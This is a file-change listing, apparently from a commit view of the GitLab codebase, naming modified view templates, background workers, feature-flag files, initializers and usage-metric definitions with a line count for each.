-rw-r--r--app/views/projects/merge_requests/tabs/_tab.html.haml4
-rw-r--r--app/views/projects/milestones/show.html.haml16
-rw-r--r--app/views/projects/packages/infrastructure_registry/show.html.haml15
-rw-r--r--app/views/projects/pages/_access.html.haml2
-rw-r--r--app/views/projects/pipeline_schedules/_form.html.haml2
-rw-r--r--app/views/projects/pipelines/index.html.haml8
-rw-r--r--app/views/projects/pipelines/show.html.haml3
-rw-r--r--app/views/projects/project_members/index.html.haml62
-rw-r--r--app/views/projects/protected_branches/shared/_branches_list.html.haml15
-rw-r--r--app/views/projects/protected_branches/shared/_create_protected_branch.html.haml15
-rw-r--r--app/views/projects/protected_branches/shared/_index.html.haml2
-rw-r--r--app/views/projects/registry/repositories/index.html.haml2
-rw-r--r--app/views/projects/runners/_specific_runners.html.haml4
-rw-r--r--app/views/projects/services/_form.html.haml18
-rw-r--r--app/views/projects/services/edit.html.haml9
-rw-r--r--app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml2
-rw-r--r--app/views/projects/services/mattermost_slash_commands/_help.html.haml8
-rw-r--r--app/views/projects/services/mattermost_slash_commands/_installation_info.html.haml2
-rw-r--r--app/views/projects/services/prometheus/_configuration_banner.html.haml14
-rw-r--r--app/views/projects/services/prometheus/_custom_metrics.html.haml2
-rw-r--r--app/views/projects/services/prometheus/_external_alerts.html.haml2
-rw-r--r--app/views/projects/services/prometheus/_help.html.haml2
-rw-r--r--app/views/projects/services/prometheus/_metrics.html.haml2
-rw-r--r--app/views/projects/services/prometheus/_show.html.haml4
-rw-r--r--app/views/projects/services/prometheus/_top.html.haml2
-rw-r--r--app/views/projects/services/slack_slash_commands/_help.html.haml4
-rw-r--r--app/views/projects/settings/_general.html.haml4
-rw-r--r--app/views/projects/settings/ci_cd/_form.html.haml4
-rw-r--r--app/views/projects/settings/ci_cd/show.html.haml12
-rw-r--r--app/views/projects/settings/integrations/show.html.haml12
-rw-r--r--app/views/projects/settings/operations/_alert_management.html.haml2
-rw-r--r--app/views/projects/settings/operations/_configuration_banner.html.haml10
-rw-r--r--app/views/projects/settings/operations/_tracing.html.haml22
-rw-r--r--app/views/projects/settings/operations/show.html.haml8
-rw-r--r--app/views/projects/settings/packages_and_registries/show.html.haml23
-rw-r--r--app/views/projects/show.html.haml1
-rw-r--r--app/views/projects/tree/_tree_header.html.haml4
-rw-r--r--app/views/registrations/invites/new.html.haml3
-rw-r--r--app/views/search/_results.html.haml4
-rw-r--r--app/views/search/results/_issuable.html.haml6
-rw-r--r--app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml17
-rw-r--r--app/views/shared/_confirm_fork_modal.html.haml2
-rw-r--r--app/views/shared/_confirm_modal.html.haml2
-rw-r--r--app/views/shared/_global_alert.html.haml20
-rw-r--r--app/views/shared/_import_form.html.haml10
-rw-r--r--app/views/shared/_search_settings.html.haml2
-rw-r--r--app/views/shared/_service_settings.html.haml2
-rw-r--r--app/views/shared/_sidebar_toggle_button.html.haml7
-rw-r--r--app/views/shared/boards/components/sidebar/_time_tracker.html.haml8
-rw-r--r--app/views/shared/file_hooks/_index.html.haml3
-rw-r--r--app/views/shared/form_elements/_apply_template_warning.html.haml2
-rw-r--r--app/views/shared/gitpod/_enable_gitpod_modal.html.haml2
-rw-r--r--app/views/shared/issuable/_form.html.haml8
-rw-r--r--app/views/shared/issuable/_search_bar.html.haml2
-rw-r--r--app/views/shared/issuable/_sidebar.html.haml5
-rw-r--r--app/views/shared/issuable/_sidebar_assignees.html.haml24
-rw-r--r--app/views/shared/issuable/_sidebar_reviewers.html.haml6
-rw-r--r--app/views/shared/issuable/_sidebar_user_dropdown.html.haml21
-rw-r--r--app/views/shared/issuable/form/_branch_chooser.html.haml14
-rw-r--r--app/views/shared/issuable/form/_metadata.html.haml10
-rw-r--r--app/views/shared/issue_type/_emoji_block.html.haml2
-rw-r--r--app/views/shared/members/_group.html.haml2
-rw-r--r--app/views/shared/members/_invite_group.html.haml10
-rw-r--r--app/views/shared/members/_invite_member.html.haml4
-rw-r--r--app/views/shared/members/_member.html.haml2
-rw-r--r--app/views/shared/milestones/_issuable.html.haml2
-rw-r--r--app/views/shared/milestones/_sidebar.html.haml1
-rw-r--r--app/views/shared/nav/_scope_menu.html.haml12
-rw-r--r--app/views/shared/nav/_scope_menu_body.html.haml8
-rw-r--r--app/views/shared/nav/_sidebar.html.haml4
-rw-r--r--app/views/shared/nav/_sidebar_menu.html.haml14
-rw-r--r--app/views/shared/nav/_sidebar_menu_collapsed.html.haml5
-rw-r--r--app/views/shared/nav/_sidebar_menu_item.html.haml2
-rw-r--r--app/views/shared/projects/protected_branches/_update_protected_branch.html.haml5
-rw-r--r--app/views/shared/runners/_runner_type_alert.html.haml6
-rw-r--r--app/views/shared/wikis/diff.html.haml2
-rw-r--r--app/views/shared/wikis/edit.html.haml2
-rw-r--r--app/views/shared/wikis/pages.html.haml2
-rw-r--r--app/views/users/show.html.haml5
-rw-r--r--app/workers/all_queues.yml183
-rw-r--r--app/workers/analytics/instance_statistics/count_job_trigger_worker.rb24
-rw-r--r--app/workers/analytics/instance_statistics/counter_job_worker.rb23
-rw-r--r--app/workers/authorized_project_update/project_recalculate_worker.rb30
-rw-r--r--app/workers/authorized_project_update/user_refresh_from_replica_worker.rb15
-rw-r--r--app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb22
-rw-r--r--app/workers/build_hooks_worker.rb12
-rw-r--r--app/workers/build_queue_worker.rb3
-rw-r--r--app/workers/bulk_import_worker.rb7
-rw-r--r--app/workers/bulk_imports/export_request_worker.rb2
-rw-r--r--app/workers/bulk_imports/pipeline_worker.rb25
-rw-r--r--app/workers/ci/initial_pipeline_process_worker.rb2
-rw-r--r--app/workers/ci/pipeline_artifacts/coverage_report_worker.rb1
-rw-r--r--app/workers/clusters/cleanup/app_worker.rb19
-rw-r--r--app/workers/concerns/application_worker.rb17
-rw-r--r--app/workers/concerns/security_scans_queue.rb2
-rw-r--r--app/workers/concerns/worker_attributes.rb27
-rw-r--r--app/workers/container_expiration_policies/cleanup_container_repository_worker.rb50
-rw-r--r--app/workers/container_expiration_policy_worker.rb27
-rw-r--r--app/workers/deployments/execute_hooks_worker.rb20
-rw-r--r--app/workers/expire_pipeline_cache_worker.rb8
-rw-r--r--app/workers/git_garbage_collect_worker.rb19
-rw-r--r--app/workers/incident_management/process_alert_worker.rb56
-rw-r--r--app/workers/incident_management/process_prometheus_alert_worker.rb23
-rw-r--r--app/workers/issue_placement_worker.rb9
-rw-r--r--app/workers/issue_rebalancing_worker.rb43
-rw-r--r--app/workers/jira_connect/sync_branch_worker.rb2
-rw-r--r--app/workers/jira_connect/sync_merge_request_worker.rb2
-rw-r--r--app/workers/merge_requests/assignees_change_worker.rb28
-rw-r--r--app/workers/packages/debian/generate_distribution_worker.rb44
-rw-r--r--app/workers/pipeline_hooks_worker.rb2
-rw-r--r--app/workers/pipeline_process_worker.rb10
-rw-r--r--app/workers/pipeline_update_worker.rb19
-rw-r--r--app/workers/project_schedule_bulk_repository_shard_moves_worker.rb15
-rw-r--r--app/workers/project_update_repository_storage_worker.rb15
-rw-r--r--app/workers/propagate_integration_worker.rb4
-rw-r--r--app/workers/prune_web_hook_logs_worker.rb24
-rw-r--r--app/workers/remove_unreferenced_lfs_objects_worker.rb12
-rw-r--r--app/workers/snippet_schedule_bulk_repository_shard_moves_worker.rb16
-rw-r--r--app/workers/snippet_update_repository_storage_worker.rb15
-rw-r--r--app/workers/ssh_keys/expired_notification_worker.rb33
-rw-r--r--app/workers/ssh_keys/expiring_soon_notification_worker.rb2
-rw-r--r--app/workers/stuck_ci_jobs_worker.rb55
-rw-r--r--app/workers/users/update_open_issue_count_worker.rb26
-rw-r--r--app/workers/web_hook_worker.rb3
-rw-r--r--app/workers/web_hooks/log_execution_worker.rb24
-rwxr-xr-xbin/changelog282
-rwxr-xr-xbin/pkgr_before_precompile.sh20
-rwxr-xr-xbin/web61
-rwxr-xr-xbin/web_puma63
-rwxr-xr-xbin/web_unicorn59
-rw-r--r--cable/config.ru2
-rw-r--r--changelogs/unreleased/.gitkeep0
-rw-r--r--config.ru17
-rw-r--r--config/README.md31
-rw-r--r--config/application.rb34
-rw-r--r--config/dependency_decisions.yml14
-rw-r--r--config/environments/production.rb3
-rw-r--r--config/feature_categories.yml7
-rw-r--r--config/feature_flags/development/abort_deleted_project_pipelines.yml2
-rw-r--r--config/feature_flags/development/advanced_search_multi_project_select.yml8
-rw-r--r--config/feature_flags/development/allow_force_push_to_protected_branches.yml8
-rw-r--r--config/feature_flags/development/allow_group_deploy_token.yml8
-rw-r--r--config/feature_flags/development/allow_unsafe_ruby_regexp.yml2
-rw-r--r--config/feature_flags/development/artifacts_management_page.yml2
-rw-r--r--config/feature_flags/development/assigned_open_issues_cache.yml7
-rw-r--r--config/feature_flags/development/auto_devops_banner_disabled.yml2
-rw-r--r--config/feature_flags/development/background_pipeline_retry_endpoint.yml8
-rw-r--r--config/feature_flags/development/board_multi_select.yml8
-rw-r--r--config/feature_flags/development/boards_filtered_search.yml8
-rw-r--r--config/feature_flags/development/branches_pagination_without_count.yml2
-rw-r--r--config/feature_flags/development/cached_mr_widget.yml8
-rw-r--r--config/feature_flags/development/cached_sidebar_merge_requests_count.yml8
-rw-r--r--config/feature_flags/development/cached_sidebar_open_epics_count.yml8
-rw-r--r--config/feature_flags/development/check_maven_path_first.yml8
-rw-r--r--config/feature_flags/development/ci_artifacts_exclude.yml2
-rw-r--r--config/feature_flags/development/ci_build_metadata_config.yml2
-rw-r--r--config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml8
-rw-r--r--config/feature_flags/development/ci_daily_limit_for_pipeline_schedules.yml8
-rw-r--r--config/feature_flags/development/ci_delete_objects_high_concurrency.yml2
-rw-r--r--config/feature_flags/development/ci_delete_objects_medium_concurrency.yml2
-rw-r--r--config/feature_flags/development/ci_drop_cyclical_triggered_pipelines.yml2
-rw-r--r--config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml8
-rw-r--r--config/feature_flags/development/ci_dynamic_child_pipeline.yml8
-rw-r--r--config/feature_flags/development/ci_enable_live_trace.yml2
-rw-r--r--config/feature_flags/development/ci_external_validation_service.yml8
-rw-r--r--config/feature_flags/development/ci_fix_commit_status_retried.yml2
-rw-r--r--config/feature_flags/development/ci_idempotent_pipeline_process_worker.yml8
-rw-r--r--config/feature_flags/development/ci_minutes_track_live_consumption.yml2
-rw-r--r--config/feature_flags/development/ci_needs_optional.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_queue_join.yml8
-rw-r--r--config/feature_flags/development/ci_pending_builds_queue_maintain.yml8
-rw-r--r--config/feature_flags/development/ci_pipeline_latest.yml2
-rw-r--r--config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml2
-rw-r--r--config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml2
-rw-r--r--config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml8
-rw-r--r--config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml8
-rw-r--r--config/feature_flags/development/ci_register_job_service_one_by_one.yml8
-rw-r--r--config/feature_flags/development/ci_require_credit_card_on_free_plan.yml2
-rw-r--r--config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml2
-rw-r--r--config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml8
-rw-r--r--config/feature_flags/development/ci_runners_short_circuit_assignable_for.yml2
-rw-r--r--config/feature_flags/development/ci_runners_tokens_optional_encryption.yml2
-rw-r--r--config/feature_flags/development/ci_scoped_job_token.yml8
-rw-r--r--config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml2
-rw-r--r--config/feature_flags/development/ci_track_shared_runner_builds.yml8
-rw-r--r--config/feature_flags/development/ci_untrack_shared_runner_builds.yml8
-rw-r--r--config/feature_flags/development/ci_yaml_limit_size.yml4
-rw-r--r--config/feature_flags/development/cluster_management_project.yml8
-rw-r--r--config/feature_flags/development/codequality_mr_diff_annotations.yml8
-rw-r--r--config/feature_flags/development/combined_menu.yml4
-rw-r--r--config/feature_flags/development/configurable_diff_limits.yml8
-rw-r--r--config/feature_flags/development/container_registry_expiration_policies_loopless.yml8
-rw-r--r--config/feature_flags/development/create_cloud_run_clusters.yml8
-rw-r--r--config/feature_flags/development/create_vulnerability_jira_issue_via_graphql.yml8
-rw-r--r--config/feature_flags/development/dast_runner_site_validation.yml8
-rw-r--r--config/feature_flags/development/database_sourced_aggregated_metrics.yml8
-rw-r--r--config/feature_flags/development/datadog_ci_integration.yml1
-rw-r--r--config/feature_flags/development/delayed_consistency_for_user_refresh_over_range_worker.yml8
-rw-r--r--config/feature_flags/development/delayed_perform_for_build_hooks_worker.yml8
-rw-r--r--config/feature_flags/development/delete_branch_confirmation_modals.yml8
-rw-r--r--config/feature_flags/development/deployments_finder_implicitly_enforce_ordering_for_updated_at_filter.yml8
-rw-r--r--config/feature_flags/development/destroy_webhooks_before_the_project.yml8
-rw-r--r--config/feature_flags/development/devops_adoption_feature.yml4
-rw-r--r--config/feature_flags/development/diff_settings_usage_data.yml2
-rw-r--r--config/feature_flags/development/diffs_virtual_scrolling.yml2
-rw-r--r--config/feature_flags/development/disable_service_templates.yml2
-rw-r--r--config/feature_flags/development/drop_license_management_artifact.yml8
-rw-r--r--config/feature_flags/development/efficient_counter_attribute.yml2
-rw-r--r--config/feature_flags/development/enforce_max_attachment_size_upload_api.yml2
-rw-r--r--config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml2
-rw-r--r--config/feature_flags/development/feature_flag_api.yml8
-rw-r--r--config/feature_flags/development/fetch_remote_params.yml8
-rw-r--r--config/feature_flags/development/find_remote_root_refs_inmemory.yml8
-rw-r--r--config/feature_flags/development/git_push_create_all_pipelines.yml2
-rw-r--r--config/feature_flags/development/gitaly_backup.yml8
-rw-r--r--config/feature_flags/development/github_review_importer_query_only_unimported_merge_requests.yml8
-rw-r--r--config/feature_flags/development/gitlab_ci_archived_trace_consistent_reads.yml2
-rw-r--r--config/feature_flags/development/gitlab_ci_builds_queue_limit.yml8
-rw-r--r--config/feature_flags/development/gitlab_ci_builds_queuing_metrics.yml2
-rw-r--r--config/feature_flags/development/gitlab_ci_trace_read_consistency.yml8
-rw-r--r--config/feature_flags/development/graphql_pipeline_details.yml1
-rw-r--r--config/feature_flags/development/graphql_pipeline_details_users.yml2
-rw-r--r--config/feature_flags/development/group_level_protected_environments.yml8
-rw-r--r--config/feature_flags/development/helm_packages.yml8
-rw-r--r--config/feature_flags/development/honor_escaped_markdown.yml8
-rw-r--r--config/feature_flags/development/improved_emoji_picker.yml2
-rw-r--r--config/feature_flags/development/include_lfs_blobs_in_archive.yml8
-rw-r--r--config/feature_flags/development/infrastructure_registry_page.yml2
-rw-r--r--config/feature_flags/development/ingress_modsecurity.yml8
-rw-r--r--config/feature_flags/development/inherited_issuable_templates.yml8
-rw-r--r--config/feature_flags/development/introduce_marker_ranges.yml8
-rw-r--r--config/feature_flags/development/issue_rebalancing_with_retry.yml2
-rw-r--r--config/feature_flags/development/iteration_cadences.yml8
-rw-r--r--config/feature_flags/development/jobs_table_vue.yml2
-rw-r--r--config/feature_flags/development/labels_widget.yml8
-rw-r--r--config/feature_flags/development/limit_projects_in_groups_api.yml8
-rw-r--r--config/feature_flags/development/load_balancing_atomic_replica.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_build_hooks_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_build_queue_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_pipeline_process_worker.yml8
-rw-r--r--config/feature_flags/development/load_balancing_for_web_hook_worker.yml8
-rw-r--r--config/feature_flags/development/main_branch_over_master.yml2
-rw-r--r--config/feature_flags/development/managed_alerts_deprecation.yml8
-rw-r--r--config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml8
-rw-r--r--config/feature_flags/development/merge_base_pipeline_for_metrics_comparison.yml8
-rw-r--r--config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml1
-rw-r--r--config/feature_flags/development/notification_setting_recipient_refactor.yml8
-rw-r--r--config/feature_flags/development/optimize_linkable_attributes.yml8
-rw-r--r--config/feature_flags/development/optimize_merge_request_parser.yml8
-rw-r--r--config/feature_flags/development/packages_finder_helper_deploy_token.yml8
-rw-r--r--config/feature_flags/development/periodic_project_authorization_update_via_replica.yml8
-rw-r--r--config/feature_flags/development/pick_into_project.yml8
-rw-r--r--config/feature_flags/development/postgres_hll_batch_counting.yml8
-rw-r--r--config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml2
-rw-r--r--config/feature_flags/development/prevent_retry_of_retried_jobs.yml8
-rw-r--r--config/feature_flags/development/push_rules_supersede_code_owners.yml1
-rw-r--r--config/feature_flags/development/read_container_registry_access_level.yml8
-rw-r--r--config/feature_flags/development/redirect_to_latest_template_jobs_browser_performance_testing.yml8
-rw-r--r--config/feature_flags/development/redirect_to_latest_template_security_api_fuzzing.yml8
-rw-r--r--config/feature_flags/development/redirect_to_latest_template_security_dast.yml8
-rw-r--r--config/feature_flags/development/redirect_to_latest_template_terraform.yml8
-rw-r--r--config/feature_flags/development/redirect_to_latest_template_verify_browser_performance.yml8
-rw-r--r--config/feature_flags/development/release_mr_issue_urls.yml8
-rw-r--r--config/feature_flags/development/releases_index_apollo_client.yml8
-rw-r--r--config/feature_flags/development/runner_graphql_query.yml1
-rw-r--r--config/feature_flags/development/runner_list_view_vue_ui.yml8
-rw-r--r--config/feature_flags/development/runners_cached_states.yml8
-rw-r--r--config/feature_flags/development/s3_multithreaded_uploads.yml2
-rw-r--r--config/feature_flags/development/security_ci_lint_authorization.yml8
-rw-r--r--config/feature_flags/development/security_configuration_redesign.yml8
-rw-r--r--config/feature_flags/development/security_dast_site_profiles_additional_fields.yml8
-rw-r--r--config/feature_flags/development/security_dast_site_profiles_api_option.yml8
-rw-r--r--config/feature_flags/development/show_relevant_approval_rule_approvers.yml2
-rw-r--r--config/feature_flags/development/sidebar_refactor.yml2
-rw-r--r--config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml8
-rw-r--r--config/feature_flags/development/specialized_project_authorization_project_share_worker.yml8
-rw-r--r--config/feature_flags/development/specialized_project_authorization_workers.yml8
-rw-r--r--config/feature_flags/development/ssh_key_expiration_email_notification.yml8
-rw-r--r--config/feature_flags/development/sync_traversal_ids.yml1
-rw-r--r--config/feature_flags/development/unified_diff_components.yml1
-rw-r--r--config/feature_flags/development/usage_data_i_testing_group_code_coverage_project_click_total.yml8
-rw-r--r--config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml8
-rw-r--r--config/feature_flags/development/usage_data_p_terraform_state_api_unique_users.yml8
-rw-r--r--config/feature_flags/development/usage_data_track_ecosystem_jira_service.yml8
-rw-r--r--config/feature_flags/development/usage_data_unique_users_committing_ciconfigfile.yml8
-rw-r--r--config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml2
-rw-r--r--config/feature_flags/development/use_distinct_in_shas_cte.yml4
-rw-r--r--config/feature_flags/development/use_specialized_worker_for_project_auth_recalculation.yml8
-rw-r--r--config/feature_flags/development/use_traversal_ids_for_root_ancestor.yml8
-rw-r--r--config/feature_flags/development/validate_import_decompressed_archive_size.yml2
-rw-r--r--config/feature_flags/development/vue_admin_users.yml8
-rw-r--r--config/feature_flags/development/webauthn.yml2
-rw-r--r--config/feature_flags/development/wiki_content_editor.yml7
-rw-r--r--config/feature_flags/experiment/ci_runner_templates.yml8
-rw-r--r--config/feature_flags/experiment/invite_members_empty_project_version_a_experiment_percentage.yml8
-rw-r--r--config/feature_flags/ops/ci_accept_trace.yml2
-rw-r--r--config/feature_flags/ops/ci_queueing_disaster_recovery.yml2
-rw-r--r--config/feature_flags/ops/ci_trace_log_invalid_chunks.yml2
-rw-r--r--config/feature_flags/ops/ci_trace_overwrite.yml8
-rw-r--r--config/feature_flags/ops/dedicated_redis_trace_chunks.yml8
-rw-r--r--config/feature_flags/ops/dynamic_nonce.yml8
-rw-r--r--config/gitlab.yml.example15
-rw-r--r--config/initializers/0_acts_as_taggable.rb4
-rw-r--r--config/initializers/1_settings.rb11
-rw-r--r--config/initializers/6_labkit_middleware.rb20
-rw-r--r--config/initializers/7_prometheus_metrics.rb8
-rw-r--r--config/initializers/7_redis.rb1
-rw-r--r--config/initializers/action_dispatch_journey_formatter.rb19
-rw-r--r--config/initializers/action_view.rb7
-rw-r--r--config/initializers/active_record_keyset_pagination.rb12
-rw-r--r--config/initializers/active_record_ping.rb7
-rw-r--r--config/initializers/active_record_postgresql_adapter.rb9
-rw-r--r--config/initializers/cluster_events_before_phased_restart.rb8
-rw-r--r--config/initializers/flipper.rb6
-rw-r--r--config/initializers/gitlab_experiment.rb9
-rw-r--r--config/initializers/global_id.rb3
-rw-r--r--config/initializers/hangouts_chat_http_override.rb27
-rw-r--r--config/initializers/labkit_middleware.rb36
-rw-r--r--config/initializers/load_balancing.rb30
-rw-r--r--config/initializers/macos.rb2
-rw-r--r--config/initializers/mailer_retries.rb41
-rw-r--r--config/initializers/peek.rb6
-rw-r--r--config/initializers/puma_client_tempfile_patch.rb101
-rw-r--r--config/initializers/rack_timeout.rb1
-rw-r--r--config/initializers/rbtrace.rb4
-rw-r--r--config/initializers/tracing.rb2
-rw-r--r--config/initializers_before_autoloader/000_inflections.rb1
-rw-r--r--config/metrics/aggregates/code_review.yml6
-rw-r--r--config/metrics/counts_28d/20210216175542_ci_builds.yml2
-rw-r--r--config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml3
-rw-r--r--config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml2
-rw-r--r--config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml2
-rw-r--r--config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml2
-rw-r--r--config/metrics/counts_28d/20210216175554_ci_pipelines.yml2
-rw-r--r--config/metrics/counts_28d/20210216175556_ci_triggers.yml2
-rw-r--r--config/metrics/counts_28d/20210216180308_personal_snippets.yml3
-rw-r--r--config/metrics/counts_28d/20210216180310_project_snippets.yml3
-rw-r--r--config/metrics/counts_28d/20210216180312_snippets.yml1
-rw-r--r--config/metrics/counts_28d/20210216180317_snippets.yml6
-rw-r--r--config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml8
-rw-r--r--config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml8
-rw-r--r--config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml10
-rw-r--r--config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml10
-rw-r--r--config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml8
-rw-r--r--config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml12
-rw-r--r--config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml10
-rw-r--r--config/metrics/counts_28d/20210216180816_groups.yml14
-rw-r--r--config/metrics/counts_28d/20210216180818_users_created.yml11
-rw-r--r--config/metrics/counts_28d/20210216180820_ldap_keys.yml16
-rw-r--r--config/metrics/counts_28d/20210216180822_ldap_users.yml16
-rw-r--r--config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml3
-rw-r--r--config/metrics/counts_28d/20210216181050_packages.yml10
-rw-r--r--config/metrics/counts_28d/20210216181057_projects_with_packages.yml10
-rw-r--r--config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml5
-rw-r--r--config/metrics/counts_28d/20210216183627_omniauth_providers.yml15
-rw-r--r--config/metrics/counts_28d/20210216183629_two-factor.yml15
-rw-r--r--config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml15
-rw-r--r--config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml15
-rw-r--r--config/metrics/counts_28d/20210216183634_standard.yml15
-rw-r--r--config/metrics/counts_28d/20210216183636_google_oauth2.yml15
-rw-r--r--config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml14
-rw-r--r--config/metrics/counts_28d/20210216183644_gitlab_project.yml12
-rw-r--r--config/metrics/counts_28d/20210216183646_gitlab.yml14
-rw-r--r--config/metrics/counts_28d/20210216183648_github.yml18
-rw-r--r--config/metrics/counts_28d/20210216183650_bitbucket.yml18
-rw-r--r--config/metrics/counts_28d/20210216183652_bitbucket_server.yml18
-rw-r--r--config/metrics/counts_28d/20210216183653_gitea.yml16
-rw-r--r--config/metrics/counts_28d/20210216183655_git.yml14
-rw-r--r--config/metrics/counts_28d/20210216183657_manifest.yml12
-rw-r--r--config/metrics/counts_28d/20210216183659_gitlab_migration.yml12
-rw-r--r--config/metrics/counts_28d/20210216183709_group_import.yml18
-rw-r--r--config/metrics/counts_28d/20210216183720_bitbucket.yml16
-rw-r--r--config/metrics/counts_28d/20210216183722_bitbucket_server.yml14
-rw-r--r--config/metrics/counts_28d/20210216183737_groups_imported.yml6
-rw-r--r--config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml16
-rw-r--r--config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml18
-rw-r--r--config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml17
-rw-r--r--config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml15
-rw-r--r--config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml17
-rw-r--r--config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml2
